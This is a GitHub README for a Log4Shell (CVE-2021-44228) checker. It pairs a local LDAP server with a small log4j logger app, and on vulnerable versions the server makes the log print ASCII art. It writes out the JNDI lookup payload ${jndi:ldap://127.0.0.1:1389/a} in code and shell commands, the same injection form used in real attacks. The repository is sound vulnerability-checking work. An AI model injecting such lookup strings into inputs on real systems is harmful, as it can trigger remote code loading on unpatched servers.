Skip to content

greymd/CVE-2021-44228

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2021-44228 checker

This is the repository for checking for vulnerability CVE-2021-44228.

This is a PoC that only displays strings without any external class loading. It cannot be used for arbitrary code execution.

How it works?

Step 1: Run the server application

The image ghcr.io/greymd/cve-2021-44228/server is available and can be run on Docker.

$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server

Step 2: Access the endpoint with log4j

Prepare the code to output logs using log4j and run it on the same host. Make output string ${jndi:ldap://127.0.0.1:1389/a}.

package logger;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class App {
    private static final Logger logger = LogManager.getLogger(App.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/a}");
    }
}

If the argument is one that causes a vulnerability, the phrase 「うんこもりもり」(which means like "Lots of shit.") will be logged successfully.

17:52:24.871 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

If you are lazy to write and build your code, you can use a simple logger application in this repository. The first argument will be output by the Logger.

$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello

An example of giving an argument that causes a vulnerability would be as follows.

$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

If you have a version of log4j that is NOT affected by the vulnerability, or the server application is not running, the string will be output as is without any modification. You can verify this by updating the version of the logger application as shown below.

$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'

> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}

Run the server application without Docker

$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...

Motivation

As I mentioned (and as far as I investigate), this vulnerability will not be reproduced unless the destination server of JNDI is running. Therefore, a simple PoC is useful.

References

The following URLs were used for reference in the implementation.

Tested versions

  • OpenJDK Runtime Environment (build 1.8.0_302-b08)
  • OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)
  • OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)